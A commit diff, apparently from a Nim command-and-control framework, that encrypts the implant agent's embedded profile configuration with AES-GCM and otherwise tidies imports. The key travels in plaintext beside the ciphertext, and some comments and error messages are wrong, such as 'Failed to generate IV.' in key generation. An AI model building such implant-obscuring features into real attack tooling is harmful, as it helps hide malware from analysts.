Implemented encryption for embedded profile.

src/agent/core/context.nim

@@ -7,8 +7,23 @@ proc deserializeConfiguration(config: string): AgentCtx =
     
     var unpacker = Unpacker.init(config) 
         
-    var agentKeyPair = generateKeyPair() 
+    var aesKey = unpacker.getByteArray(Key)
+    let 
+        iv = unpacker.getByteArray(Iv)
+        authTag = unpacker.getByteArray(AuthenticationTag)
+        length = int(unpacker.getUint32())  
 
+    # Decrypt profile configuration
+    let (decData, gmac) = decrypt(aesKey, iv, unpacker.getBytes(length))
+    wipeKey(aesKey)
+
+    if gmac != authTag: 
+        raise newException(CatchableError, "Invalid authentication tag.")
+
+    # Parse decrypted profile configuration 
+    unpacker = Unpacker.init(Bytes.toString(decData))
+
+    var agentKeyPair = generateKeyPair() 
     var ctx = AgentCtx(
         agentId: generateUUID(),
         listenerId: Uuid.toString(unpacker.getUint32()),

src/agent/nim.cfg

@@ -1,3 +1,3 @@
 # Agent configuration 
--d:CONFIGURATION=PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER
+-d:CONFIGURATION=PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER
 -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

src/common/crypto.nim

@@ -10,11 +10,17 @@ import ./[utils, types]
 proc generateIV*(): Iv =
     # Generate a random 98-bit (12-byte) initialization vector for AES-256 GCM mode
     var iv: Iv
-    if randomBytes(iv) != 12: 
+    if randomBytes(iv) != sizeof(Iv): 
         raise newException(CatchableError, "Failed to generate IV.")
     return iv 
 
-proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) =
+proc generateKey*(): Key = 
+    var key: Key 
+    if randomBytes(key) != sizeof(Key):
+        raise newException(CatchableError, "Failed to generate IV.")
+    return key
+
+proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32 = 0): (seq[byte], AuthenticationTag) =
     
     # Encrypt data using AES-256 GCM
     var encData = newSeq[byte](data.len)
@@ -29,7 +35,7 @@ proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32): (seq[b
     
     return (encData, tag)
 
-proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) =
+proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32 = 0): (seq[byte], AuthenticationTag) =
     
     # Decrypt data using AES-256 GCM
     var data = newSeq[byte](encData.len)
@@ -91,10 +97,7 @@ proc wipeKey*(data: var openArray[byte]) =
 
 # Key pair generation
 proc generateKeyPair*(): KeyPair = 
-    var privateKey: Key
+    let privateKey = generateKey() 
-    if randomBytes(privateKey) != sizeof(Key): 
-        raise newException(ValueError, "Failed to generate key.")
-
     return KeyPair(
         privateKey: privateKey, 
         publicKey: getPublicKey(privateKey)

src/common/profile.nim

@@ -1,5 +1,6 @@
 import parsetoml, strutils, sequtils, random
-import ./[types, utils]
+
+import ./types
 
 proc findKey(profile: Profile, path: string): TomlValueRef =
   let keys = path.split(".")

src/common/sequence.nim

@@ -1,5 +1,5 @@
 import tables 
-import ./[types, utils]
+import ./types
 
 var sequenceTable {.global.}: Table[uint32, uint32]
 

src/common/serialize.nim

@@ -1,5 +1,5 @@
-import streams, strutils, tables
+import streams, tables
-import ./[types, utils, crypto, sequence]
+import ./[types, utils, crypto]
 
 #[
     Packer
@@ -129,8 +129,6 @@ proc getArgument*(unpacker: Unpacker): TaskArg =
         result.data = unpacker.getBytes(8)
     of BOOL:
         result.data = unpacker.getBytes(1)
-    else: 
-        discard
 
 proc getDataWithLengthPrefix*(unpacker: Unpacker): string = 
     # Read length of variable-length field

src/common/types.nim

@@ -1,7 +1,6 @@
 import prompt
 import tables
 import times
-import streams
 import parsetoml
 
 # Custom Binary Task structure

src/common/utils.nim

@@ -1,5 +1,4 @@
-import strutils, sequtils, strformat
+import strutils, nimcrypto
-import nimcrypto
 
 import ./types
 

src/server/api/handlers.nim

@@ -1,4 +1,4 @@
-import terminal, strformat, strutils, sequtils, tables, json, times, base64, system
+import terminal, strformat, strutils, sequtils, tables, times, system
 
 import ../[utils, globals]
 import ../db/database
@@ -44,7 +44,7 @@ proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] =
             listenerId = Uuid.toString(request.listenerId)
             timestamp = request.timestamp
 
-        var result: seq[seq[byte]]
+        var tasks: seq[seq[byte]]
 
         # Check if listener exists
         if not cq.dbListenerExists(listenerId): 
@@ -62,9 +62,9 @@ proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] =
         # Return tasks
         for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag
             let taskData = cq.serializeTask(task)
-            result.add(taskData)
+            tasks.add(taskData)
         
-        return result
+        return tasks
 
 proc handleResult*(resultData: seq[byte]) = 
 

src/server/api/routes.nim

@@ -1,6 +1,6 @@
-import prologue, json, terminal, strformat, parsetoml, tables
+import prologue, terminal, strformat, parsetoml, tables
-import sequtils, strutils, times, base64
+import strutils, times, base64
-import sugar
+
 import ./handlers
 import ../[utils, globals]
 import ../../common/[types, utils, serialize, profile]

src/server/core/agent.nim

@@ -1,9 +1,9 @@
-import terminal, strformat, strutils, tables, times, system, osproc, streams, base64, parsetoml
+import terminal, strformat, strutils, tables, times, system, parsetoml
 
 import ./task
 import ../utils
 import ../db/database
-import ../../common/[types, utils]
+import ../../common/types
 
 # Utility functions
 proc addMultiple*(cq: Conquest, agents: seq[Agent]) = 

src/server/core/builder.nim

@@ -1,7 +1,7 @@
 import terminal, strformat, strutils, tables, system, osproc, streams, parsetoml
 
 import ../utils
-import ../../common/[types, utils, profile, serialize]
+import ../../common/[types, utils, profile, serialize, crypto]
 import ../db/database 
 
 const PLACEHOLDER = "PLACEHOLDER"
@@ -20,9 +20,25 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int): seq[b
     packer.addDataWithLengthPrefix(string.toBytes(cq.profile.toTomlString()))
 
     let data = packer.pack() 
-    cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Profile configuration serialized.")
+    packer.reset() 
 
-    return data 
+    # Encrypt profile configuration data with a newly generated encryption key
+    var aesKey = generateKey() 
+    let iv = generateIV()
+
+    let (encData, gmac) = encrypt(aesKey, iv, data)
+
+    # Add plaintext encryption material in front of the 
+    packer.addData(aesKey)
+    packer.addData(iv)
+    packer.addData(gmac)
+    packer.add(uint32(encData.len()))
+    let encMaterial = packer.pack() 
+
+    wipeKey(aesKey)
+
+    cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Profile configuration serialized.")
+    return encMaterial & encData 
 
 proc compile(cq: Conquest, placeholderLength: int): string = 
     

src/server/core/task.nim

@@ -1,9 +1,9 @@
-import times, strformat, terminal, tables, json, sequtils, strutils
+import times, strformat, terminal, tables, sequtils, strutils
 
 import ../utils
 import ../protocol/parser
 import ../../modules/manager
-import ../../common/[types, utils]
+import ../../common/types
 
 proc displayHelp(cq: Conquest) = 
     cq.writeLine("Available commands:")

src/server/globals.nim

@@ -1,4 +1,4 @@
-import ../common/[types, utils]
+import ../common/types
 
 # Global variable for handling listeners, agents and console output
 var cq*: Conquest

src/server/protocol/packer.nim

@@ -1,4 +1,4 @@
-import strutils, strformat, streams, times, tables
+import strutils, streams, times, tables
 import ../utils
 import ../../common/[types, utils, serialize, sequence, crypto]
 

src/server/protocol/parser.nim

@@ -1,7 +1,6 @@
-import strutils, strformat, times
+import strutils, times
 
-import ../utils
+import ../../common/[types, sequence, crypto, utils]
-import ../../common/[types, utils, sequence, crypto]
 
 proc parseInput*(input: string): seq[string] = 
     var i = 0
@@ -36,15 +35,15 @@ proc parseInput*(input: string): seq[string] =
 
 proc parseArgument*(argument: Argument, value: string): TaskArg = 
     
-    var result: TaskArg
+    var arg: TaskArg
-    result.argType = cast[uint8](argument.argumentType)  
+    arg.argType = cast[uint8](argument.argumentType)  
 
     case argument.argumentType:
 
     of INT: 
         # Length: 4 bytes        
         let intValue = cast[uint32](parseUInt(value))
-        result.data = @[byte(intValue and 0xFF), byte((intValue shr 8) and 0xFF), byte((intValue shr 16) and 0xFF), byte((intValue shr 24) and 0xFF)]
+        arg.data = @[byte(intValue and 0xFF), byte((intValue shr 8) and 0xFF), byte((intValue shr 16) and 0xFF), byte((intValue shr 24) and 0xFF)]
 
     of LONG: 
         # Length: 8 bytes
@@ -52,26 +51,26 @@ proc parseArgument*(argument: Argument, value: string): TaskArg =
         let intValue = cast[uint64](parseUInt(value))
         for i in 0..7:
             data[i] = byte((intValue shr (i * 8)) and 0xFF)
-        result.data = data
+        arg.data = data
 
     of BOOL: 
         # Length: 1 byte
         if value == "true": 
-            result.data = @[1'u8] 
+            arg.data = @[1'u8] 
         elif value == "false": 
-            result.data = @[0'u8] 
+            arg.data = @[0'u8] 
         else: 
             raise newException(ValueError, "Invalid value for boolean argument.")
 
     of STRING:
-        result.data = cast[seq[byte]](value)
+        arg.data = cast[seq[byte]](value)
 
     of BINARY: 
         # Read file as binary stream 
 
         discard 
     
-    return result
+    return arg
 
 proc createTask*(cq: Conquest, command: Command, arguments: seq[string]): Task = 
 

src/server/utils.nim

@@ -1,7 +1,7 @@
-import strutils, terminal, tables, sequtils, times, strformat, random, prompt
+import strutils, terminal, tables, sequtils, times, strformat, prompt
 import std/wordwrap
 
-import ../common/[types, utils]
+import ../common/types
 
 # Utility functions
 proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] =